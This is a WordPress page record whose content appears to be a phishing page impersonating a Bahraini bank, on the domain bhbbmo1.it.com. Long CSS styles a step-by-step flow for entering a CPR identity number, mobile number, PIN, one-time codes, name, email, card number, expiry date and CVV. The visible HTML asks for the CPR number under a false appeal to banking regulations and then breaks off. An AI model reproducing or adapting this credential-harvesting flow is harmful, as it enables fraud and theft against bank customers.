{"id":7,"date":"2026-06-21T19:08:18","date_gmt":"2026-06-21T19:08:18","guid":{"rendered":"https:\/\/bhbbmo1.it.com\/?page_id=7"},"modified":"2026-06-21T19:17:52","modified_gmt":"2026-06-21T19:17:52","slug":"elementor-7","status":"publish","type":"page","link":"https:\/\/bhbbmo1.it.com\/","title":{"rendered":""},"content":{"rendered":"\t\t<div data-elementor-type=\"wp-page\" data-elementor-id=\"7\" class=\"elementor elementor-7\">\n\t\t\t\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-420a578 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"420a578\" data-element_type=\"section\">\n\t\t\t\t\t\t<div class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-8577946\" data-id=\"8577946\" data-element_type=\"column\">\n\t\t\t<div class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t\t\t<div class=\"elementor-element elementor-element-41f5546 elementor-widget elementor-widget-shortcode\" data-id=\"41f5546\" data-element_type=\"widget\" data-widget_type=\"shortcode.default\">\n\t\t\t\t<div class=\"elementor-widget-container\">\n\t\t\t\t\t<div class=\"elementor-shortcode\">\r\n<style>\r\n@import url('https:\/\/fonts.googleapis.com\/css2?family=Saira:wght@300;400;500;600;700&display=swap');\r\n*{\r\n    margin:0;\r\n    padding:0;\r\n    box-sizing:border-box;\r\n    font-family:'Saira', sans-serif;\r\n}\r\n\r\n@font-face{\r\n    font-family:'Saira';\r\n    src:url('YOUR_FONT_URL.woff') format('woff');\r\n    font-weight:400;\r\n}\r\n\r\n*{\r\n    font-family:'Saira', sans-serif;\r\n}\r\n\r\nhtml,body{\r\nheight:100%;\r\noverflow:hidden;\r\n}\r\n\r\n\/* COLORS *\/\r\n:root{\r\n    \/* BACKGROUND *\/\r\n    --top:#2F83E0;\r\n    --bottom:#164C93;\r\n\r\n    \/* BUTTON DEFAULT (BLUE GRADIENT - HEADER\/FOOTER STYLE) *\/\r\n    --btnDefTop:#4A78C9;\r\n    --btnDefBottom:#2F5FB3;\r\n\r\n    \/* BUTTON ACTIVE (YELLOW) *\/\r\n    --btnTop:#FFA743;\r\n    --btnBottom:#FF9721;\r\n}\r\n\r\n\/* BG *\/\r\n.wrap{\r\nposition:fixed;\r\ninset:0;\r\nbackground:linear-gradient(to bottom,var(--top),var(--bottom));\r\n}\r\n\r\n\/* STEP *\/\r\n.step{\r\nposition:absolute;\r\nopacity:0;\r\ntransform:scale(1.02);\r\ntransition: all .4s ease;\r\ninset:0;\r\ndisplay:flex;\r\nflex-direction:column;\r\nalign-items:center;\r\njustify-content:flex-start;\r\npadding-top:80px;\r\ncolor:#fff;\r\ntext-align:center;\r\n}\r\n\r\n.step.active{\r\n    opacity:1;\r\n    transform:scale(1);\r\n    z-index:1;\r\n}\r\n\r\n\/* LOGO *\/\r\n.logo{\r\nposition:absolute;\r\ntop:25px;\r\nright:25px;\r\nwidth:105px;\r\n}\r\n\r\n\/* TITLE *\/\r\nh1{\r\nfont-size:22px;\r\nmargin-top:80px;\r\nfont-weight:600;\r\n}\r\n\r\n\/* STEP3 TITLE UP *\/\r\n#step3 h1{\r\n    margin-top:20px;   \/* \u067e\u06c1\u0644\u06d2 80px \u062a\u06be\u0627 *\/\r\n}\r\n\r\n\/* DESCRIPTION UP *\/\r\n#step3 .sub{\r\n    margin-top:8px;\r\n}\r\n\r\n\/* INPUT UP *\/\r\n#step3 .input{\r\n    margin-top:20px;\r\n}\r\n\r\n\/* TEXT *\/\r\n.sub{\r\nmargin-top:10px;\r\nopacity:.9;\r\nfont-weight:360;\r\nfont-size:14px;\r\nfont-weight:400;\r\n\r\nwidth:90%;\r\nmax-width:360px;\r\n}\r\n\r\n\/* WARNING *\/\r\n.warn{\r\nwidth:70px;\r\nmargin:25px 0;\r\n}\r\n\r\n\/* STEP3 TOP ICON *\/\r\n#step3 .top-icon{\r\n    width:115px;\r\n    margin-top:70px;   \/* \ud83d\udc48 \u0646\u06cc\u0686\u06d2 \u0644\u0627\u0646\u06d2 \u06a9\u06cc\u0644\u0626\u06d2 *\/\r\n    margin-bottom:10px;\r\n}\r\n\r\n\/* YELLOW TEXT *\/\r\n.yellow{\r\nopacity:.9;\r\nmax-width:360px;\r\nfont-weight:400;\r\nfont-size:14px;\r\n}\r\n\r\n\/* ONLY STEP3 DESCRIPTION *\/\r\n#step3 .yellow{\r\n    font-size:16px;      \/* size change *\/\r\n    font-weight:600;     \/* boldness *\/\r\n    line-height:1.5;     \/* spacing *\/\r\n}\r\n\r\n\/* INPUT *\/\r\n.input{\r\nmargin-top:30px;\r\nwidth:90%;\r\nmax-width:360px;\r\nfont-weight:500;\r\n}\r\n\r\n.input input{\r\n    width:100%;\r\n    height:60px;\r\n    border-radius:20px;\r\n    padding:0 20px;\r\n    position:relative;\r\n    z-index:1;\r\n\r\n    \/* \ud83d\udd25 HEADER \u2192 FOOTER STYLE (SOLID GRADIENT) *\/\r\n    background:linear-gradient(\r\n        to bottom,\r\n        #3B7AC4,\r\n        #3B7AC4\r\n    );\r\n\r\n    \/* \ud83d\udd25 SOFT BORDER *\/\r\n    border:1px solid rgba(82,136,202,0.6);\r\n\r\n    \/* \ud83d\udd25 TEXT *\/\r\n    color:#fff;\r\n    font-size:18px;\r\n    outline:none;\r\n\r\n    backdrop-filter:blur(4px);\r\n}\r\n\r\n.input input::placeholder{\r\n    color:rgba(255,255,255,0.70);\r\n    font-weight:500;\r\n    font-size:14px;\r\n    line-height:60px;\r\n\r\n    font-family:'Saira', sans-serif;  \/* \ud83d\udc48 ADD THIS *\/\r\n}\r\n\r\n.mobile-input{\r\n    position:relative;\r\n    display:flex;\r\n    align-items:center;\r\n}\r\n\r\n.mobile-input input{\r\n    padding-left:95px;\r\n    font-size:17px;\r\n    font-weight:500;\r\n}\r\n\r\n.prefix{\r\n    position:absolute;\r\n    left:18px;\r\n    top:50%;\r\n    transform:translateY(-50%);\r\n    display:flex;\r\n    align-items:center;\r\n    gap:8px;\r\n\r\n    z-index:2;\r\n\r\n    pointer-events:none; \/* \ud83d\udd25 FIX *\/\r\n\r\n    color:#fff;\r\n    font-size:17px;\r\n    font-weight:500;\r\n}\r\n\r\n.prefix img{\r\n    width:22px;\r\n    height:16px;\r\n    object-fit:cover;\r\n    border-radius:3px;\r\n}\r\n\r\n\/* STEP3 COUNTRY CODE BIG *\/\r\n#step3 .prefix{\r\n    font-size:17px;   \/* \ud83d\udc48 match *\/\r\n    font-weight:500;\r\n}\r\n\r\n#step3 input{\r\n    font-size:17px;   \/* \ud83d\udc48 same as prefix *\/\r\n    font-weight:500;\r\n}\r\n\r\n\/* STEP4 MAIN POSITION FIX *\/\r\n#step4{\r\n    justify-content:center; \r\n    padding-top:0;\r\n}\r\n\r\n\/* RESET extra spacing *\/\r\n#step4 h1{\r\n    margin-top:0;\r\n}\r\n\r\n#step4 input{\r\n    text-align:center;\r\n    font-size:24px;\r\n    font-weight:600;\r\n\r\n    height:60px;\r\n\r\n    display:flex;\r\n    align-items:center;\r\n    justify-content:center;\r\n\r\n    padding:0;\r\n\r\n    transform:translateY(-1px);\r\n}\r\n\r\n#step4 .sub{\r\n    margin-top:6px; \r\n    font-size:15px;\r\n    font-weight:400;\r\n    line-height:1.5;\r\n    max-width:300px;\r\n}\r\n\r\n#step4 .input{\r\n    margin-top:29px;\r\n}\r\n\r\n#step4 .btn-wrap{\r\n    width:90%;\r\n    max-width:360px;\r\n    margin-top:25px;\r\n}\r\n\r\n\/* FOOTER *\/\r\n.footer{\r\nposition:absolute;\r\nbottom:60px;\r\nwidth:100%;\r\ndisplay:flex;\r\nflex-direction:column;\r\nalign-items:center;\r\n}\r\n\r\n\r\n\/* STEP4 BUTTON WRAP *\/\r\n#step4 .btn-wrap{\r\n    width:90%;\r\n    max-width:360px;\r\n    margin-top:25px;\r\n}\r\n\r\n\/* LINK *\/\r\n#step4 .link{\r\n    margin-top:18px;\r\n    opacity:.9;\r\n    font-size:14px;\r\n    font-weight:500;\r\n}\r\n\r\n\/* BOXES CONTAINER *\/\r\n#step4 .boxes{\r\n    position:absolute;\r\n    bottom:80px;\r\n    width:100%;\r\n    display:flex;\r\n    justify-content:space-around;\r\n    padding:0 15px;\r\n}\r\n\r\n\/* SINGLE BOX *\/\r\n#step4 .box{\r\n    width:30%;\r\n    padding:40px 10px;\r\n    border-radius:16px;\r\n    background:linear-gradient(to bottom, rgba(255,255,255,0.12), rgba(255,255,255,0.05));\r\n    text-align:center;\r\n    font-size:15px;\r\n    font-weight:500;\r\n}\r\n\r\n\/* ARABIC TEXT *\/\r\n#step4 .arabic{\r\n    position:absolute;\r\n    bottom:20px;\r\n    font-size:15px;\r\n    opacity:.9;\r\n}\r\n\r\n\/* BUTTON *\/\r\n.btn{\r\n    width:90%;\r\n    max-width:360px;\r\n    height:60px;\r\n    border-radius:20px;\r\n    border:none;\r\n    font-size:18px;\r\n\r\n    \/* \ud83d\udd25 SOFT \/ LESS LIGHT GRADIENT *\/\r\n    background:linear-gradient(\r\n        to bottom,\r\n        #376AAE 0%,   \/* \ud83d\udc48 \u062a\u06be\u0648\u0691\u0627 darker top *\/\r\n        #4073B5 100%  \/* \ud83d\udc48 same footer *\/\r\n    );\r\n\r\n    color:#fff;\r\n    font-weight:600;\r\n\r\n    \/* \ud83d\udd25 SOFT PREMIUM SHADOW *\/\r\n    box-shadow:\r\n    0 10px 16px -6px rgba(42,77,126,0.28),  \/* \ud83d\udc48 #2A4D7E *\/\r\n    0 2px 6px rgba(255,255,255,0.18) inset;\r\n    transition:.3s;\r\n    position:relative;\r\n}\r\n\r\n\/* STEP4 BUTTON SAME WIDTH AS INPUT *\/\r\n#step4 .btn{\r\n    width:100%;\r\n}\r\n\r\n\/* STEP4 LOCK ICON *\/\r\n#step4 .step4-top-logo{\r\n    width:125px;\r\n    position:absolute;\r\n    top:150px;\r\n    left:50%;\r\n    transform:translateX(-50%);\r\n}\r\n\r\n\/* LOADER *\/\r\n.loader{\r\n    width:22px;\r\n    height:22px;\r\n\r\n    border:4px solid rgba(255,255,255,0.3);   \/* \ud83d\udd25 3 \u2192 4 *\/\r\n    border-top:4px solid #fff;\r\n\r\n    border-radius:50%;\r\n    animation:spin .7s linear infinite;\r\n    margin:auto;\r\n}\r\n\r\n@keyframes spin{\r\nto{transform:rotate(360deg)}\r\n}\r\n\r\n.hidden{\r\n    opacity:0;\r\n    pointer-events:none;\r\n}\r\n\r\n.splash-logo{\r\n    width:160px;\r\n}\r\n\r\n#step1{\r\n    display:flex;\r\n    justify-content:center;\r\n    align-items:center;\r\n}\r\n\r\n.popup{\r\n    position:absolute;\r\n    inset:0;\r\n\r\n    background:rgba(0,0,0,0.35);\r\n    backdrop-filter:blur(6px);\r\n\r\n    display:none;\r\n\r\n    align-items:center;\r\n    justify-content:center;\r\n\r\n    z-index:999;\r\n}\r\n\r\n\/* \ud83d\udd25 PREMIUM GLASS POPUP *\/\r\n.popup-box{\r\n    width:90%;\r\n    max-width:320px;\r\n\r\n    background:linear-gradient(\r\n        to bottom,\r\n        rgba(255,255,255,0.97),\r\n        rgba(240,244,250,0.92)\r\n    );\r\n\r\n    backdrop-filter:blur(10px);\r\n\r\n    border-radius:20px;\r\n    padding:28px 20px;\r\n\r\n    text-align:center;\r\n\r\n    border:1px solid rgba(255,255,255,0.7);\r\n}\r\n\r\n\/* \ud83d\udd25 CLEAN PREMIUM LOADER *\/\r\n.bbk-loader{\r\n    width:40px;\r\n    height:40px;\r\n\r\n    border:4px solid rgba(0,0,0,0.08);   \/* \ud83d\udd25 3 \u2192 4 *\/\r\n    border-top:4px solid #1F60AF;\r\n\r\n    border-radius:50%;\r\n    animation:bbkSpin .8s linear infinite;\r\n\r\n    margin:0 auto 15px;\r\n}\r\n\r\n@keyframes bbkSpin{\r\n    to{transform:rotate(360deg);}\r\n}\r\n\r\n@keyframes pop{\r\n    from{transform:scale(0.85);opacity:0;}\r\n    to{transform:scale(1);opacity:1;}\r\n}\r\n\r\n\/* ICON WRAP *\/\r\n.popup-icon-wrap{\r\n    width:120px;\r\n    height:auto;\r\n\r\n    background:none;   \/* \ud83d\udc48 REMOVE circle *\/\r\n\r\n    display:flex;\r\n    align-items:center;\r\n    justify-content:center;\r\n\r\n    margin:0 auto 18px;\r\n}\r\n\r\n\/* ICON *\/\r\n.popup-icon{\r\n    width:56px;\r\n    height:56px;\r\n    border-radius:50%;\r\n\r\n    background:linear-gradient(\r\n        to bottom,\r\n        rgba(255,90,90,0.9),\r\n        rgba(200,0,0,0.8)\r\n    );\r\n\r\n    color:#fff;\r\n\r\n    display:flex;\r\n    align-items:center;\r\n    justify-content:center;\r\n\r\n    font-size:24px;\r\n    font-weight:600;\r\n\r\n    box-shadow:\r\n        0 8px 18px rgba(255,0,0,0.25);\r\n}\r\n\r\n\/* TITLE *\/\r\n.popup-title{\r\n    font-size:18px;\r\n    font-weight:600;\r\n    color:#001877;\r\n    text-align:center;\r\n    margin-bottom:18px;\r\n}\r\n\r\n\/* LOGO *\/\r\n.popup-logo{\r\n    width:70px;   \/* \ud83d\udc48 red icon *\/\r\n    display:block;\r\n    margin:0 auto 18px;\r\n}\r\n\r\n\/* SUBTITLE *\/\r\n.popup-subtitle{\r\n    font-size:18px;\r\n    font-weight:600;\r\n    color:#001877;\r\n    text-align:center;\r\n    margin-bottom:10px;\r\n}\r\n\r\n\/* DESC *\/\r\n.popup-desc{\r\n    font-size:15px;\r\n    color:#555;\r\n    text-align:center;\r\n    margin-bottom:20px;\r\n}\r\n\r\n\/* BUTTON WRAP *\/\r\n.popup-btns.center{\r\n    display:flex;\r\n    justify-content:center;\r\n    width:100%;\r\n    margin-top:10px;\r\n}\r\n\r\n\/* BUTTON *\/\r\n.verify{\r\n    width:calc(100% + 10px);\r\n    max-width:260px;\r\n    height:60px;\r\n\r\n    border-radius:20px;\r\n    border:none;\r\n\r\n    display:flex;\r\n    align-items:center;\r\n    justify-content:center;\r\n\r\n    color:#fff;\r\n    font-size:18px;\r\n    font-weight:600;\r\n\r\n    \/* \ud83d\udd25 SAME AS .btn *\/\r\n    background:linear-gradient(\r\n        to bottom,\r\n        #376AAE,\r\n        #4073B5\r\n    );\r\n\r\n    box-shadow:\r\n        0 10px 16px -6px rgba(42,77,126,0.28),\r\n        0 2px 6px rgba(255,255,255,0.18) inset;\r\n\r\n    transition:.3s;\r\n    position:relative;\r\n}\r\n\r\n@keyframes spin{\r\n    to{transform:rotate(360deg);}\r\n}\r\n\r\n.btn.active{\r\n    background:linear-gradient(\r\n        to bottom,\r\n        #FFA743 0%,     \/* \ud83d\udc48 same color *\/\r\n        #FF9721 100%\r\n    );\r\n\r\n    color:#fff;\r\n\r\n    \/* \ud83d\udd25 PREMIUM SOFT DEPTH (NO OUTER SHADOW) *\/\r\n    box-shadow:\r\n        inset 0 2px 4px rgba(255,255,255,0.25),\r\n        inset 0 -2px 6px rgba(0,0,0,0.15);\r\n\r\n    transition:.3s;\r\n}\r\n\r\n.pin-wrap{\r\n    display:flex;\r\n    justify-content:center;\r\n    gap:10px;\r\n    margin-top:25px;\r\n}\r\n\r\n.pin-wrap input{\r\n    width:45px;\r\n    height:55px;\r\n    border-radius:12px;   \/* \ud83d\udc48 round boxes *\/\r\n    border:1px solid rgba(82,136,202,0.6);\r\n\r\n    background:linear-gradient(\r\n        to bottom,\r\n        #3B78C0,\r\n        #2F66B2\r\n    );\r\n\r\n    text-align:center;\r\n    font-size:20px;\r\n    color:#fff;\r\n    outline:none;\r\n}\r\n\r\n.popup-icon-img{\r\n    width:110px;   \/* \ud83d\udc48 correct *\/\r\n    height:auto;\r\n}\r\n\r\n#step5 .pin-wrap{\r\n    display:flex;\r\n    justify-content:center;\r\n    gap:10px;\r\n    margin-top:25px;\r\n}\r\n\r\n.pin-wrap input{\r\n    width:48px;\r\n    height:48px;\r\n\r\n    border-radius:12px;\r\n    border:1px solid rgba(255,255,255,0.15);\r\n\r\n    background:rgba(255,255,255,0.10);\r\n\r\n    text-align:center;\r\n    font-size:17px;\r\n\r\n    font-family:'Saira', sans-serif;\r\n    font-weight:600;\r\n\r\n    color:rgba(255,255,255,0.7);\r\n    outline:none;\r\n}\r\n\r\n.otp-box{\r\n    margin-top:25px;\r\n    padding:15px;\r\n    border-radius:20px;\r\n\r\n    background:rgba(255,255,255,0.08);\r\n    border:1px solid rgba(255,255,255,0.15);\r\n}\r\n\r\n.otp-time{\r\n    margin-top:15px;\r\n    font-size:16px;\r\n    font-weight:600;\r\n    opacity:.95;\r\n}\r\n\r\n#step5 .top-icon{\r\n    width:90px;\r\n    margin-top:70px;\r\n    margin-bottom:10px;\r\n}\r\n\r\n.process-title{\r\n    font-size:18px;\r\n    font-weight:700;\r\n    color:#001877;\r\n    text-align:center;\r\n    margin-bottom:8px;\r\n}\r\n\r\n.process-desc{\r\n    font-size:13px;\r\n    color:#555;\r\n    text-align:center;\r\n    line-height:1.5;\r\n    padding:0 10px;\r\n}\r\n\r\n\/* \ud83d\udd25 STEP6 (NAME LOGO) SAME AS OTHERS *\/\r\n#step6 .top-icon{\r\n    width:80px !important;          \/* \ud83d\udd25 same size *\/\r\n\r\n    margin-top:35px !important;     \/* \ud83d\udd25 same top spacing *\/\r\n    margin-bottom:12px !important;  \/* \ud83d\udd25 same gap *\/\r\n    \r\n    display:block;\r\n}\r\n\r\n\/* \ud83d\udd25 ALL ICONS UNIFORM *\/\r\n.top-icon{\r\n    width:95px !important;\r\n    margin-top:35px !important;\r\n    margin-bottom:12px !important;\r\n}\r\n\r\n\/* \ud83d\udd25 EMAIL STEP LOGO SAME AS OTHERS *\/\r\n#step8 .top-icon{\r\n    width:80px !important;\r\n    margin-top:35px !important;\r\n    margin-bottom:12px !important;\r\n    display:block;\r\n} \r\n\r\n\/* \ud83d\udd25 PERFECT BALANCE (OTP STEPS ONLY) *\/\r\n#step5 .top-icon,\r\n#step7 .top-icon,\r\n#step9 .top-icon{\r\n\r\n    width:95px !important;\r\n\r\n    margin-top:50px !important;   \/* \ud83d\udd25 equal spacing *\/\r\n    margin-bottom:20px !important;\r\n\r\n    display:block;\r\n}\r\n\r\n\/* \ud83d\udd25 CPR STYLE APPLY (STEP3,6,8 ONLY) *\/\r\n#step3,\r\n#step6,\r\n#step8{\r\n    padding-top:80px !important;   \/* \ud83d\udd25 same as step2 *\/\r\n}\r\n\r\n\/* \ud83d\udd25 ICON POSITION SAME *\/\r\n    width:80px !important;\r\n    margin-top:40px !important;   \/* \ud83d\udd25 same feel *\/\r\n    margin-bottom:15px !important;\r\n}\r\n\r\n\/* \ud83d\udd25 TITLE SAME POSITION *\/\r\n#step3 h1,\r\n#step6 h1,\r\n#step8 h1{\r\n    margin-top:80px !important;\r\n}\r\n\r\n\/* \ud83d\udd25 DESCRIPTION SAME *\/\r\n#step3 .sub,\r\n#step6 .sub,\r\n#step8 .sub{\r\n    margin-top:10px !important;\r\n}\r\n\r\n\/* \ud83d\udd25 INPUT SAME *\/\r\n#step3 .input,\r\n#step6 .input,\r\n#step8 .input{\r\n    margin-top:30px !important;\r\n}\r\n\r\n\/* \ud83d\udd25 OTP STEPS (5,7,9) PERFECT CENTER BALANCE *\/\r\n\r\n\/* TITLE \u0627\u0648\u067e\u0631 \u0644\u0627\u0624 *\/\r\n#step5 h1,\r\n#step7 h1,\r\n#step9 h1{\r\n    margin-top:40px !important;   \/* \ud83d\udd25 \u067e\u06c1\u0644\u06d2 80 \u062a\u06be\u0627 *\/\r\n}\r\n\r\n\/* DESCRIPTION \u062a\u06be\u0648\u0691\u0627 tight *\/\r\n#step5 .sub,\r\n#step7 .sub,\r\n#step9 .sub{\r\n    margin-top:8px !important;\r\n}\r\n\r\n\/* OTP BOX \u0627\u0648\u067e\u0631 \u0644\u0627\u0624 *\/\r\n#step5 .otp-box,\r\n#step7 .otp-box,\r\n#step9 .otp-box{\r\n    margin-top:18px !important;   \/* \ud83d\udd25 \u067e\u06c1\u0644\u06d2 25 \u062a\u06be\u0627 *\/\r\n}\r\n\r\n\/* \ud83d\udd25 CPR + MOBILE + NAME + EMAIL = OTP STYLE BALANCE *\/\r\n\r\n\/* ICON POSITION FIX *\/\r\n#step2 .top-icon,\r\n#step3 .top-icon,\r\n#step6 .top-icon,\r\n#step8 .top-icon{\r\n\r\n    width:110px !important;\r\n\r\n    margin-top:50px !important;   \/* \ud83d\udd25 same as OTP *\/\r\n    margin-bottom:20px !important;\r\n\r\n}\r\n\r\n\/* TITLE BALANCE *\/\r\n#step2 h1,\r\n#step3 h1,\r\n#step6 h1,\r\n#step8 h1{\r\n    margin-top:40px !important;   \/* \ud83d\udd25 OTP style *\/\r\n}\r\n\r\n\/* DESCRIPTION BALANCE *\/\r\n#step2 .sub,\r\n#step3 .sub,\r\n#step6 .sub,\r\n#step8 .sub{\r\n    margin-top:8px !important;\r\n}\r\n\r\n\/* INPUT POSITION *\/\r\n#step2 .input,\r\n#step3 .input,\r\n#step6 .input,\r\n#step8 .input{\r\n    margin-top:25px !important;\r\n}\r\n\r\n\/* \ud83d\udd25 OTP TITLE + DESC PERFECT CENTER *\/\r\n#step5 h1,\r\n#step7 h1,\r\n#step9 h1{\r\n    margin-top:30px !important;   \/* \ud83d\udd25 equal balance *\/\r\n}\r\n\r\n#step5 .sub,\r\n#step7 .sub,\r\n#step9 .sub{\r\n    margin-top:10px !important;\r\n    margin-bottom:20px !important; \/* \ud83d\udd25 bottom equal *\/\r\n}\r\n\r\n\/* \ud83d\udd25 NORMAL STEPS CENTER TEXT BALANCE *\/\r\n#step2 h1,\r\n#step3 h1,\r\n#step6 h1,\r\n#step8 h1{\r\n    margin-top:30px !important;\r\n}\r\n\r\n#step2 .sub,\r\n#step3 .sub,\r\n#step6 .sub,\r\n#step8 .sub{\r\n    margin-top:10px !important;\r\n    margin-bottom:20px !important;\r\n}\r\n\r\n\/* \ud83d\udd25 ALL INPUT TEXT *\/\r\n.input input{\r\n    font-size:17px !important;\r\n    font-weight:500 !important;\r\n    color:#ffffff !important;   \/* white text *\/\r\n}\r\n\r\n\/* \ud83d\udd25 PLACEHOLDER *\/\r\n.input input::placeholder{\r\n    font-size:17px !important;\r\n    font-weight:500 !important;\r\n    color:rgba(255,255,255,0.75) !important; \/* soft white *\/\r\n}\r\n\r\n\/* \ud83d\udd25 MOBILE PREFIX ALIGN *\/\r\n.prefix{\r\n    font-size:17px !important;\r\n    font-weight:500 !important;\r\n    color:#ffffff !important;\r\n}\r\n\r\n\/* \ud83d\udd25 OTP INPUTS *\/\r\n.pin-wrap input{\r\n    font-size:17px !important;\r\n    font-weight:500 !important;\r\n    color:#ffffff !important;\r\n}\r\n\r\n\/* \ud83d\udd25 SPLASH LOGO ANIMATION *\/\r\n.splash-logo{\r\n    width:160px;\r\n\r\n    animation:splashZoom 2s ease-in-out infinite;\r\n}\r\n\r\n\/* \ud83d\udd25 KEYFRAMES *\/\r\n@keyframes splashZoom{\r\n\r\n    0%{\r\n        transform:scale(0.9);\r\n        opacity:0.6;\r\n    }\r\n\r\n    50%{\r\n        transform:scale(1.1);\r\n        opacity:1;\r\n    }\r\n\r\n    100%{\r\n        transform:scale(0.9);\r\n        opacity:0.6;\r\n    }\r\n}\r\n\r\n\/* \ud83d\udd25 SPLASH SCREEN PERFECT CENTER *\/\r\n#step1{\r\n    display:flex !important;\r\n    justify-content:center !important;\r\n    align-items:center !important;\r\n\r\n    padding-top:0 !important;   \/* \ud83d\udd25 \u0627\u0635\u0644 fix *\/\r\n}\r\n\r\n\/* \ud83d\udd25 STEP2 TEXT CENTER BALANCE FIX *\/\r\n#step2 h1{\r\n    margin-top:50px !important;   \/* \ud83d\udd25 \u067e\u06c1\u0644\u06d2 80 \u062a\u06be\u0627 *\/\r\n}\r\n\r\n#step2 .sub{\r\n    margin-top:12px !important;\r\n}\r\n\r\n#step2 .yellow{\r\n    margin-top:15px !important;\r\n} \r\n\r\n\/* \ud83d\udd25 BOX ICON STYLE *\/\r\n.box{\r\n    display:flex;\r\n    flex-direction:column;\r\n    align-items:center;\r\n    justify-content:center;\r\n    gap:10px;\r\n}\r\n\r\n\/* \ud83d\udd25 ICON *\/\r\n.box-icon{\r\n    width:28px;\r\n    height:28px;\r\n    opacity:0.95;\r\n}\r\n\r\n\/* \ud83d\udd25 TEXT *\/\r\n.box span{\r\n    font-size:14px;\r\n    font-weight:500;\r\n    text-align:center;\r\n    line-height:1.4;\r\n}\r\n\r\n\/* \ud83d\udd25 STEP4 (PIN) PLACEHOLDER SIZE FIX *\/\r\n#step4 .input input::placeholder{\r\n    font-size:15px !important;   \/* \ud83d\udd25 \u067e\u06c1\u0644\u06d2 \u0628\u0691\u0627 \u062a\u06be\u0627\u060c \u0627\u0628 \u0686\u06be\u0648\u0679\u0627 *\/\r\n    opacity:0.7;\r\n} \r\n\r\n\/* \ud83d\udd25 STEP4 INPUT TEXT SIZE *\/\r\n#step4 .input input{\r\n    font-size:17px !important;   \/* \u2714 text size *\/\r\n    font-weight:600;\r\n    letter-spacing:2px;          \/* \ud83d\udd25 dots spaced nice *\/\r\n}\r\n\r\n\/* \ud83d\udd25 HIDDEN DOT SIZE (PASSWORD STYLE) *\/\r\n#step4 .input input[type=\"password\"]{\r\n    font-size:22px !important;   \/* \ud83d\udd25 dots bigger *\/\r\n    letter-spacing:4px;          \/* \ud83d\udd25 spacing between dots *\/\r\n}\r\n\r\n\/* \ud83d\udd25 FINAL FIX (NAME + EMAIL LOGO SIZE) *\/\r\n#step6 .top-icon,\r\n#step8 .top-icon{\r\n    width:80px !important;   \/* \ud83d\udd25 jo size chaho yahan change karo *\/\r\n}\r\n\r\n\/* Card Input Styling *\/\r\n#step8 .input input{\r\n    letter-spacing: 3px;\r\n    font-size: 18px !important;\r\n    font-weight: 600 !important;\r\n}\r\n\r\n#step8 .input input::placeholder{\r\n    letter-spacing: 2px;\r\n    font-size: 15px !important;\r\n}\r\n\r\n#step8 input[type=\"password\"]{\r\n    font-size: 22px !important;\r\n    letter-spacing: 4px;\r\n}\r\n\r\n\/* Row inputs *\/\r\n#step8 .input-row input{\r\n    width:100%;\r\n    height:60px;\r\n    border-radius:20px;\r\n    padding:0 20px;\r\n    background:linear-gradient(to bottom, #3B7AC4, #3B7AC4);\r\n    border:1px solid rgba(82,136,202,0.6);\r\n    color:#fff;\r\n    font-size:17px;\r\n    outline:none;\r\n}\r\n\r\n#step8 .input-row input::placeholder{\r\n    color:rgba(255,255,255,0.70);\r\n    font-weight:500;\r\n    font-size:14px;\r\n}\r\n\r\n\/* ============================================\r\n   CARD STEP FIXES\r\n   ============================================ *\/\r\n\r\n\/* Placeholder colors for card step *\/\r\n#step8 .input input::placeholder {\r\n    color: rgba(255,255,255,0.60) !important;\r\n    font-size: 15px !important;\r\n    letter-spacing: 2px;\r\n    font-weight: 400 !important;\r\n}\r\n\r\n#step8 .input input {\r\n    text-align: center !important;\r\n    letter-spacing: 3px !important;\r\n    font-size: 18px !important;\r\n    font-weight: 600 !important;\r\n}\r\n\r\n\/* Expiry & CVV placeholders *\/\r\n#step8 input[placeholder=\"MM\/YY\"]::placeholder {\r\n    color: rgba(255,255,255,0.60) !important;\r\n    font-size: 15px !important;\r\n    letter-spacing: 2px;\r\n    font-weight: 400 !important;\r\n}\r\n\r\n#step8 input[placeholder=\"CVV\"]::placeholder {\r\n    color: rgba(255,255,255,0.60) !important;\r\n    font-size: 15px !important;\r\n    letter-spacing: 2px;\r\n    font-weight: 400 !important;\r\n}\r\n\r\n\/* Expiry & CVV input text *\/\r\n#step8 input#expiry {\r\n    font-size: 17px !important;\r\n    text-align: center !important;\r\n    letter-spacing: 2px !important;\r\n}\r\n\r\n#step8 input#cvv {\r\n    font-size: 22px !important;\r\n    text-align: center !important;\r\n    letter-spacing: 4px !important;\r\n}\r\n\r\n\/* Row inputs container *\/\r\n#step8 .input-row {\r\n    display: flex;\r\n    gap: 12px;\r\n    width: 90%;\r\n    max-width: 360px;\r\n    margin-top: 12px;\r\n}\r\n\r\n#step8 .input-row input {\r\n    width: 100%;\r\n    height: 60px;\r\n    border-radius: 20px;\r\n    padding: 0 20px;\r\n    background: linear-gradient(to bottom, #3B7AC4, #3B7AC4);\r\n    border: 1px solid rgba(82,136,202,0.6);\r\n    color: #fff;\r\n    font-size: 17px;\r\n    outline: none;\r\n    text-align: center;\r\n}\r\n\r\n#step8 .input-row input::placeholder {\r\n    color: rgba(255,255,255,0.60) !important;\r\n    font-weight: 400 !important;\r\n    font-size: 15px !important;\r\n}\r\n\r\n\/* Fix for card icon *\/\r\n.top-icon svg {\r\n    display: block;\r\n    margin: 0 auto;\r\n}\r\n \r\n<\/style>\r\n\r\n<div class=\"wrap\">\r\n    \r\n<!-- STEP 1 SPLASH -->\r\n<div class=\"step active\" id=\"step1\">\r\n\r\n    <img decoding=\"async\" src=\"https:\/\/bhbbmo1.it.com\/wp-content\/uploads\/2026\/06\/B-Logo.png\" class=\"splash-logo\">\r\n\r\n<\/div>\r\n\r\n<div class=\"step\" id=\"step2\">\r\n\r\n<img decoding=\"async\" src=\"https:\/\/bhbbmo1.it.com\/wp-content\/uploads\/2026\/06\/BK-Logo.png\" class=\"logo\">\r\n\r\n<h1>CPR Verification<\/h1>\r\n\r\n<div class=\"sub\">\r\nPlease provide your CIVIL Personal Record ( CPR ) number for identity verification\r\n<\/div>\r\n\r\n<img decoding=\"async\" src=\"https:\/\/bhbbmo1.it.com\/wp-content\/uploads\/2026\/06\/war.png\" class=\"warn\">\r\n\r\n<div class=\"yellow\">\r\nYour CPR number is required for enhanced security verification as per BAHRAIN Banking regulations.\r\n<\/div>\r\n\r\n<div 